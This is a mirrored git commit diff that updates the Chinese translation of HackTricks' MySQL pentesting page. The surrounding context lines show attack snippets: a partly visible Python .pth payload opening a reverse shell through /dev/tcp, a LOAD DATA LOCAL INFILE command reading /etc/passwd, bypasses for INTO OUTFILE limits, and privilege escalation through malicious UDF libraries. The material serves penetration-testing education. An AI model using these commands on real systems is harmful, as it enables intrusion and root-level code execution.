mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to zh
This commit is contained in:
parent
6dd9807293
commit
11c5ad7d50
@ -1,10 +1,5 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本信息**
|
||||
@ -132,9 +127,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
|
||||
```
|
||||
重要的限制和绕过:
|
||||
|
||||
* `INTO OUTFILE` **无法覆盖** 已存在的文件;选择一个新文件名。
|
||||
* `INTO OUTFILE` **不能覆盖** 已存在的文件;选择一个新文件名。
|
||||
* 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
|
||||
* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 如果攻击者输入通过 `%128s`(或类似方式)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,几乎在任何地方都可以写入。
|
||||
|
||||
在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行:
|
||||
@ -153,12 +148,12 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL 任意读取客户端文件
|
||||
|
||||
实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。 **然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。**然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用的行为:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(注意“local”这个词)\
|
||||
(注意“local”这个词)\
|
||||
因为没有“local”,你可能会得到:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -190,7 +185,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
- **`password`** 用于建立与 MySQL 用户相关联的密码。
|
||||
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
|
||||
- **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,这些字符串包含日志中的敏感数据。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,日志中包含敏感数据。
|
||||
- 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。
|
||||
|
||||
### 权限提升
|
||||
@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### 特权提升通过库
|
||||
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库**。
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库用于运行 mysql 的操作系统。
|
||||
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user